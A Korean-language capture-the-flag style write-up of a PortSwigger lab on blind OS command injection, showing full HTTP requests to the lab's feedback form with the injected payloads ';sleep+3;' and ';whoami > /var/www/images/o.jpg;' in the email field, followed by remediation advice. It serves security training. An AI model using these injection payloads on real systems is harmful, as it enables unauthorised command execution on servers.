[Write-Up] PortSwigger - Blind OS Command Injection With Output Redirection

목차


문제 분석

난이도: PRACTITIONER
Lab: Blind OS command injection with output redirection

실습 안내

이 랩의 피드백 기능은 사용자 입력을 셸 명령에 포함하지만 출력을 응답에 반환하지 않는다. 대신 /var/www/images/에 파일을 쓸 수 있고, 이미지 조회 기능으로 그 파일을 읽을 수 있다. whoami의 출력을 이 경로에 저장한 뒤 조회하면 문제가 해결된다.

OS Command Injection 진단

먼저 실습 페이지에 접근하면 GET /image?filename=48.jpg 형태의 이미지 로딩 URL이 존재한다.

랩에서 쓰기 가능하다고 안내한 /var/www/images/와 이 조회 기능을 연결할 수 있다. 피드백을 제출할 때 전송되는 요청은 다음과 같다.

POST /feedback/submit HTTP/2
Host: 0a29006004b70c7280a47b64007e00fe.web-security-academy.net

csrf=ogcxfljsqSmWoXX7mwANKWcG2xyyD1p4&name=test&email=hacker%40evil-user.net&subject=test&message=test

email에 ;sleep+3;을 추가하면 약 3초의 응답 지연이 발생한다. 이 입력을 통해 셸 명령이 실행되는 것을 확인했다.


익스플로잇

같은 email 입력에서 whoami의 표준 출력을 /var/www/images/o.jpg에 저장하도록 구성한다. >는 출력을 파일로 보내는 리다이렉션 연산자다. o.jpg에는 실행 사용자 이름이 텍스트로 저장된다.

;whoami > /var/www/images/o.jpg;
POST /feedback/submit HTTP/2
Host: 0a29006004b70c7280a47b64007e00fe.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
...

csrf=ogcxfljsqSmWoXX7mwANKWcG2xyyD1p4&name=test&email=hacker%40evil-user.net;whoami+>+/var/www/images/o.jpg;&subject=test&message=test

GET /image?filename=o.jpg로 저장한 파일을 요청하면 peter-HjH3BQ가 반환된다. 이 값으로 whoami의 출력을 확인하며 실습이 완료된다.

요청과 응답 확인


정리

피드백 응답에 보이지 않던 출력이 파일 쓰기와 이미지 조회 기능을 거쳐 다시 나타났다. 쓰기 가능한 디렉터리와 외부에서 조회할 수 있는 경로가 겹치면서 별도의 출력 통로가 만들어진 것이다.

따라서 Blind 진단에서는 응답 본문 외에도 프로세스의 파일 쓰기 권한과 애플리케이션의 파일 제공 경로를 함께 본다. 대응에서는 셸 명령 주입을 제거하고, 실행 프로세스가 공개 디렉터리에 불필요하게 쓸 수 있는 권한도 줄여야 한다.

유형별 원리와 다른 실습은 OS Command Injection Lab에 정리했다.